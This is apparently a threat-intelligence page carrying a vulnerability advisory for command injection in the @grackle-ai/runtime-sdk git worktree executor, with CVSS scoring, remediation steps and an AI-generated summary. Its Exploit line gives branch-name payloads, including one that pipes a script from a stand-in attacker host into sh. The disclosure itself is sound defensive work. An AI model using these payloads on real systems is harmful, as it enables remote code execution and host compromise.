Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

Runtime sdk: Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)

0
High
Published: 07/02/2026 (07/02/2026, 19:16:57 UTC)
Source: GCVE Database
Product: @grackle-ai/runtime-sdk

Description

## Summary The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox. This advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**). ## Affected versions `@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned. ## F1 — Command injection via `shell:true` (primary, High) **Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`. `NODE_GIT_EXECUTOR.exec` runs: ```ts const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell }); ``` When `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into: ```ts ["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143 ``` `sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink. **Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.) The sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync("git", [...])` with **no** shell, confirming `shell:true` is unnecessary here. ## F13 — Argument injection: missing `--` separator (residual, Low) **Location:** `packages/runtime-sdk/src/worktree.ts:135-143`. Independent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `["checkout", "--", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1. ## Remediation 1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix. 2. Add a `--` separator before positional refs/paths in both `worktree add` invocations. 3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.

CVSS v4.0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vuln. Confidentiality
High
Vuln. Integrity
High
Vuln. Availability
High
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected software

npmghsa
@grackle-ai/runtime-sdk
Affected versions
<=0.132.1
npmghsa
@grackle-ai/powerline
Affected versions
<=0.132.1

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/02/2026, 23:13:59 UTC

Technical Analysis

The vulnerability in @grackle-ai/runtime-sdk (<=0.132.1) stems from the default git executor spawning git commands with shell:true, causing the untrusted task branch name to be concatenated into a shell command without escaping. This allows command injection via crafted branch names supplied through the PowerLine SpawnSession gRPC interface. The sanitizeBranch function only protects the directory path, not the branch argument itself. The primary fix involves removing shell:true and using execFile with argument arrays to prevent shell interpretation. Additionally, adding '--' separators before positional arguments and validating branch names at the gRPC boundary are recommended to harden the code. This vulnerability enables arbitrary command execution as the PowerLine user on all provisioned environments managed by the affected software.

Potential Impact

An attacker with the ability to invoke the PowerLine SpawnSession RPC can achieve arbitrary command execution as the PowerLine user on all provisioned environments, including SSH hosts, Docker containers, and Codespaces. This effectively allows an attacker to escape the agent sandbox and execute arbitrary shell commands, potentially leading to full compromise of the provisioned hosts. The secondary argument injection issue has limited standalone impact but could facilitate further exploitation if combined with other flaws.

Mitigation Recommendations

A fix is available by removing the use of shell:true in the git executor and switching to execFile with argument arrays, which prevents shell command injection. Additionally, adding '--' separators before positional git arguments and validating branch names against git ref rules at the gRPC boundary (rejecting names with '-', '..', or shell metacharacters) are recommended defense-in-depth measures. Users should upgrade to a version later than 0.132.1 once available or apply these code changes manually. Patch status is not yet confirmed; check the vendor advisory for current remediation guidance.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-vv65-f55v-xm6g
Osv Schema Version
1.4.0
Aliases
[]
Ecosystems
["npm"]
Database Specific Severity
HIGH
Cvss Version
4.0

Threat ID: 6a46ecba27e9c7971943cdb2

Added to database: 07/02/2026, 22:56:58 UTC

Last enriched: 07/02/2026, 23:13:59 UTC

Last updated: 07/29/2026, 13:44:28 UTC

Views: 31

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses